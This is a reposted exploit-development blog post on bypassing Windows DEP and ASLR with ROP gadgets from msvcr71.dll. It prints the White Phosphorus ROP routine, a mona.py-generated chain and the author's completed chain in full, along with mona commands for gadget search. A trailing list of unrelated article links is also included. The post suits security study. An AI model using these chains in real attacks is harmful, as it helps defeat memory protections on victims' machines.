转载自:

https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/

Introduction

Over the last few weeks, there has been some commotion about a universal DEP/ASLR bypass routine  using ROP gadgets from msvcr71.dll and the fact that it might have been copied into an exploit submitted to Metasploit as part of the Metasploit bounty.

For the record, I don’t know exactly what happened nor have I seen the proof… so I’m not going to make any statements about this or judge anyone.

Furthermore, this post is not about the incident, but about the routine itself (which looks pretty slick) and alternative routines.

The White Phosphorus version

Released as part of the White Phosphorus Exploit Pack, the routine only uses gadgets and pointer to VirtualProtect from msvcr71.dll.  That particular version of the dll does not rebase and is not ASLR enabled either, which makes it a perfect candidate for universal/generic DEP & ASLR bypass, providing that it contains all required gadgets to perform a generic ROP routine.

If your target application has that particular version of the dll loaded (or if you can force it to load one way or another), you can use the ROP chain to bypass DEP and ASLR in a generic way.

Immunity Inc published the bypass technique on their website.  The routine looks like this :

def wp_sayonaraASLRDEPBypass(size=1000):# White Phosphorus# Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]## This technique uses msvcr71.dll which has shipped unchanged# in the Java Runtime Environment since v1.6.0.0 released# December 2006.## mail: support@whitephosphorus org# sales: http://www.immunityinc.com/products-whitephosphorus.shtmlprint "WP> Building Sayonara - Universal ASLR and DEP bypass"size += 4  # bytes to shellcode after pushad esp ptrdepBypass = pack('<L', 0x7C344CC1)  # pop eax;ret;depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtectdepBypass += pack('<L', 0x7C365645) # pop esi;ret;depBypass += pack('<L', 0x7C345243) # ret;depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;depBypass += pack('<L', 0x7C3487EC) # call eax depBypass += pack('<L', 0x7C344CC1) # pop eax;ret; depBypass += pack("<i", -size)      # {size}depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}depBypass += pack('<L', 0x7C3439FA) # pop edx;ret; depBypass += pack('<L', 0xFFFFFFC0) # {flag}depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}depBypass += pack('<L', 0x7C354648) # pop edi;ret;depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;depBypass += pack('<L', 0x7C36683F) # push esp;ret;print "WP> Universal Bypass Size: %d bytes"%len(depBypass)return depBypass

(22 dwords)

Triggered by the Metasploit bounty "incident", the fact that Abysssec published a post/document just a few hours ago, and because Immunity already released the routine, I decided to take a look myself & see if there would be another way to build an alternative DEP/ASLR Bypass routine from msvcr71.dll.

The alternative version (mona.py)

I attached Immunity Debugger to an application that has the dll loaded, and used mona.py to create a database with rop gadgets & have it produce a rop chain.

Since the one written part of White Phosporus doesn’t have any null bytes, I will try to do the same thing.

This is the result :

Command used :

!mona rop -m msvcr71.dll -n

17 seconds later, I got this :

rop_gadgets = [0x7c346c0a,    # POP EAX # RETN (msvcr71.dll)0x7c37a140,   # <- *&VirtualProtect() 0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)0x????????,    # ** <- find routine to move virtualprotect() into esi# ** Hint : look for mov [esp+offset],eax and pop esi0x7c376402,  # POP EBP # RETN (msvcr71.dll)0x7c345c30,   # ptr to 'push esp #  ret ' (from msvcr71.dll)0x7c346c0a, # POP EAX # RETN (msvcr71.dll)0xfffffdff,   # value to negate, target value : 0x00000201, target: ebx0x7c351e05,    # NEG EAX # RETN (msvcr71.dll)0x7c354901,   # POP EBX # RETN (msvcr71.dll)0xffffffff,   # pop value into ebx0x7c345255, # INC EBX # FPATAN # RETN (msvcr71.dll)0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)0x7c34d201,   # POP ECX # RETN (msvcr71.dll)0x7c38b001,   # RW pointer (lpOldProtect) (-> ecx)0x7c34b8d7,  # POP EDI # RETN (msvcr71.dll)0x7c34b8d8,   # ROP NOP (-> edi)0x7c344f87,    # POP EDX # RETN (msvcr71.dll)0xffffffc0,   # value to negate, target value : 0x00000040, target: edx0x7c351eb1,    # NEG EDX # RETN (msvcr71.dll)0x7c346c0a,   # POP EAX # RETN (msvcr71.dll)0x90909090,   # NOPS (-> eax)0x7c378c81,   # PUSHAD # ADD AL,0EF # RETN (msvcr71.dll)# rop chain generated by mona.py# note : this chain may not work out of the box# you may have to change order or fix some gadgets,# but it should give you a head start].pack("V*")

Interesting… mona.py generated an almost complete ROP chain using gadgets using pointers from msvcr71.dll.

It is slightly larger than the one written by Immunity (so yes, the one part of WP is most likely better), but I just wanted to see if there was an alternative available.

The only thing that is missing from the one mona generated, is a routine that would put the VirtualProtect() (in eax) into esi.

mona.py didn’t find any obvious gadgets that would simply do something such as "mov esi,eax", so I had to manually search for an alternative.

But as mona.py suggested, I simply had to find a gadget that would write the value in eax onto the stack, so you can pick it up in esi later on.

In order to do so, you probably need 2 or 3 gadgets : one to get the stack pointer, a second one to write the value onto the stack and a third one to pick it up (pop esi).

After searching the generated rop.txt file for a few minutes, I found the following 2 gadgets that will do this :

0x7c37591f :  # PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN

0x7c376069 :  # MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN

That should work.

Using those 2 gadgets, we can simply write the pointer to VirtualProtect() onto the stack and pick it up in ESI. In fact, the second gadget will write and pick up in the same gadget. We just need to make ECX point at the correct location on the stack and make sure POP ESI will take it from that location.

Note that the first gadget requires EAX to contain a valid pointer to a readable location.  So all we would have to do to make it readable is pop a readable address from msvcr71.dll into EAX first.

Putting all of this together, the chain looks like this :

rop_gadgets =
[0x7c346c0a,    # POP EAX # RETN (MSVCR71.dll)0x7c37a140,   # Make EAX readable         0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)0x41414141,    # EBP (filler)0x7c346c0a,   # POP EAX # RETN (MSVCR71.dll)0x7c37a140,   # <- *&VirtualProtect() 0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)0x7c346c0b,    # Slide, so next gadget would write to correct stack location0x7c376069,    # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)0x41414141, # EDI (filler)0x41414141,   # will be patched at runtime (VP), then picked up into ESI0x41414141,   # EBX (filler)0x7c376402,   # POP EBP # RETN (msvcr71.dll)0x7c345c30,   # ptr to 'push esp #  ret ' (from MSVCR71.dll)0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)0xfffffdff,   # size 0x00000201 -> ebx, modify if needed0x7c351e05,    # NEG EAX # RETN (MSVCR71.dll)0x7c354901,   # POP EBX # RETN (MSVCR71.dll)0xffffffff,   # pop value into ebx0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)0x7c34d201,   # POP ECX # RETN (MSVCR71.dll)0x7c38b001,   # RW pointer (lpOldProtect) (-> ecx)0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)0x7c34b8d8,   # ROP NOP (-> edi)0x7c344f87,    # POP EDX # RETN (MSVCR71.dll)0xffffffc0,   # value to negate, target value : 0x00000040, target: edx0x7c351eb1,    # NEG EDX # RETN (MSVCR71.dll)0x7c346c0a,   # POP EAX # RETN (MSVCR71.dll)0x90909090,   # NOPS (-> eax)0x7c378c81,   # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)# rop chain generated with mona.py
].pack("V*")

31 dwords…  9 dwords larger than the commercial one from White Phosphorus…  but it proves my point.   It took me less than 10 minutes to build this chain, it’s universal and bypasses DEP and ASLR.

Oh, by the way, in case you didn’t know…  if you have other bad chars (so let’s say you also need to avoid using ‘\x0a’ and ‘\x0d’) then you could just run

!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'

and get other pointers… yes, it’s that simple.

Conclusion

no matter how nice & ‘tempting’ a certain solution looks like, there always might be an alternative, and creativity often leads to results.

Universal DEP/ASLR bypass with msvcr71.dll and mona.py相关推荐

  1. Win7 64有点找不到MSVCP71.DLL和MSVCR71.dll

     现象: win7启动好多程序都报找不到MSVCP71.DLL,网页上不去,可是非常奇怪的是好像在线给系统打补丁没有受到不论什么影响,能正常打补丁. 解决: 从本机搜索了一下msvcp71.dll ...

  2. 很多绿化软件运行都会提示缺少msvcp71.dll、msvcr100.dll、msvcr71.dll等msvc**.dll文件错误解决方法

    因为一些软件很多都不支持XP了,所以只好给一些老电脑安装绿化版本,但运行这些绿化软件 老提示 缺少msvcp71.dll.msvcr100.dll.msvcr71.dll等msvc**.dll文件错误 ...

  3. 提示找不到msvcr71.dll怎么办

    提示找不到msvcr71.dll  怎么办 msvcr71.dll文件下载,下载之后.解压然后复制到C:\WINDOWS\system32文件夹下即可.

  4. 安装memcached.exe时, msvcr71.dll丢失怎么解决

    在安装memcached.exe时, 报msvcr71.dll丢失 怎么解决呢?先下载缺少的msvcr71.dll文件,复制到对应的文件夹中问题解决 下载地址:http://webjss.u.qini ...

  5. 解决系统提示msvcr71.dll文件丢失的错误

    最近学习memcache,需要在windows7环境下安转mem服务,结果却报错,如下 经过度娘发现是系统缺少了必要的系统文件,也就是msvcr71.dll这个文件,下载地址:http://www.c ...

  6. 174.127.195.210/bbs/index.php?,[漏洞exploit工具-mona系列4] mona实战系列

    PS:本帖只发布些已有的mona实战的帖子,大部分来自互联网搜索结果,这里只给出链接. 来自corelan团段的 稳定通用的ROP链库,过DEP的同学可以看看 https://www.corelan. ...

  7. 认识二进制安全与漏洞攻防技术 (Windows平台)

    二进制漏洞是指程序存在安全缺陷,导致攻击者恶意构造的数据(如Shellcode)进入程序相关处理代码时,改变程序原定的执行流程,从而实现破坏或获取超出原有的权限. 0Day漏洞 在计算机领域中,0da ...

  8. Exploit开发系列教程-Exploitme2 (Stack cookies SEH)

    P3nro5e · 2015/11/23 10:31 from:expdev-kiuhnm.rhcloud.com/2015/05/26/- 0x00 Exploitme2 (Stack cookie ...

  9. HeapSpray+ROP绕过IE8的DEP防护 ——堆喷射技术利用超星老漏洞

    感觉写的太水了,有空一定重新写一份更详细明白的.. 堆喷射技术已经发展很多个年头了,相关的研究也挺多的,虽然现在Win7.Win8系统下的利用越来越难,但是该技术仍然是可用的,比如最近新出的IE8 u ...

最新文章

  1. FindStringExact
  2. 老司机谈APK瘦身套路-项目优化篇
  3. pygame只能编写游戏_游戏框架搭建
  4. 端口隔离配置命令、端口镜像(抓包配置)详解(附图,建议PC观看)
  5. 经典算法题--求对策字符串的最大长度
  6. Redis常用命令总结,为什么阿里的程序员成长如此之快
  7. 全球与中国电子柜锁市场深度研究分析报告
  8. 大工计算机英语考试,大工15春《专业英语(计算机英语)》在线测试123
  9. 场地预约管理微信小程序开发过程中的错误记录
  10. Linux- Showdown 命令详解
  11. 爬虫抓取究竟是什么?
  12. java基础代码练习
  13. 达梦使用powerdesigner生成er模型图
  14. css设置背景图片随滚动缓慢滚动_h5页面背景图很长要有滚动条滑动效果的实现...
  15. RTKLIB中的各种AR mode 详解
  16. 第152章 SQL函数 $TSQL_NEWID
  17. 计算机与S7-200 PLC通信的步骤,建立与S7-200 CPU在线联系设置修改PLC通信参数
  18. Linux ALSA声卡驱动之五:Machine 以及ALSA声卡的注册
  19. 教你自动化测试执行用例报告
  20. js:json请求和jsonp请求

热门文章

  1. 词云生成库WordCloud详解(一):概述、ImageColorGenerator类
  2. Js、Vue阻止事件冒泡行为
  3. ATEC倒计时14天|蚂蚁金服区块链技术:让善款来有影去有踪(内赠门票)
  4. eclipse 创建maven项目 出现Could not calculate build plan错误解决
  5. Android app包下fragment详细使用
  6. 用java计算小数的双阶乘
  7. iOS音效和音乐播放
  8. 如何使用ps的扭曲里面的旋转扭曲
  9. 投稿经验分享之四:SCI投稿之JEI录用
  10. 电调板维修之更换atmega8a主控芯片